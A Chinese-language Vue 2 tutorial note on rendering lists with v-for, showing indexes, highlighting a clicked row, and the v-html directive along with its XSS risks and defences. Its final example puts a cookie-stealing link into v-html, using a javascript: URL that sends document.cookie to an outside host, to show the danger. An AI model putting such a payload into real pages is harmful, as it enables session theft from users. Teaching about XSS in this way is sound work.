Vue 响应式渲染 - 列表布局和v-html

Vue 渐进式JavaScript 框架基于Vue2的学习笔记 - Vue 响应式渲染 - 列表布局和v-html

列表布局

简单渲染列表

显示索引值

点击变色

V-html

作用

注意

采用策略

应用

总结

列表布局

简单渲染列表

Data中设置状态，是一个数组格式的默认信息。

然后设置v-for循环渲染ul的li元素。

示例如下：

<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><title>Title</title><script src="../lib/vue.js"></script>
</head>
<body>
<div id="box"><ul><li v-for="item in datalist">{{item}}</li></ul>
</div>
<script>new Vue({el: "#box", // elementdata: {datalist:["zhangsan", "lisi", "wangwu", "xiaoming"]},methods: {}})
</script>
</body>
</html>

效果如下：

显示索引值

显示列表数据的索引值。

示例如下：

<ul><li v-for="(item, index) in datalist">{{item}}--{{index}}</li>
</ul>

效果如下：

点击变色

创建一个列表，点击哪一个行，哪一行显示选中效果。

示例如下：

<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><title>Title</title><style>.active {background: red;}</style><script src="../lib/vue.js"></script>
</head>
<body>
<div id="box"><ul><li v-for="(item, index) in datalist" :class="current === index ? 'active': ''"@click="handleClick(index)">{{item}}</li></ul>
</div>
<script>new Vue({el: "#box", // elementdata: {current: 0,datalist: ['面朝大海，春暖花开', '从明天起，做一个幸福的人', '喂马、劈柴，周游世界'],},methods: {handleClick(index) {this.current = index}}})
</script>
</body>
</html>

实现效果：

V-html

作用

更新元素的innerHTML。

注意

内容按普通 HTML插入。不会作为 Vue 模板进行编译。如果试图使用 v-html 组合模板，可以重新考虑是否通过使用组件来替代。

在网站上动态渲染任意 HTML 是非常危险的，因为容易导致 xss 攻击。

在可信内容上，不用在用户提交的内容上。

采用策略

使用V-html 需防止XSS,CSRF

前端过滤

后台转义

给cookie加上属性httponly

应用

模拟ajax请求后端数据后，使用vue解析和v-html解析展示不同效果。

示例如下：

<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><title>Title</title><script src="../lib/vue.js"></script>
</head>
<body>
<div id="box"><div>{{mydanger}}</div><div v-html="mydanger"></div><button @click="handleAjax()">请求</button>
</div>
<script>new Vue({el: "#box", // elementdata: {mydanger: '',},methods: {handleAjax() {console.log('点击了按钮')// 此处为请求后端获取数据this.mydanger = "<a href=javascript:location.href='http://www.baidu.com?cookie='+document.cookie>震惊!!!点击查看</a>"}}})
</script>
</body>
</html>

效果如下：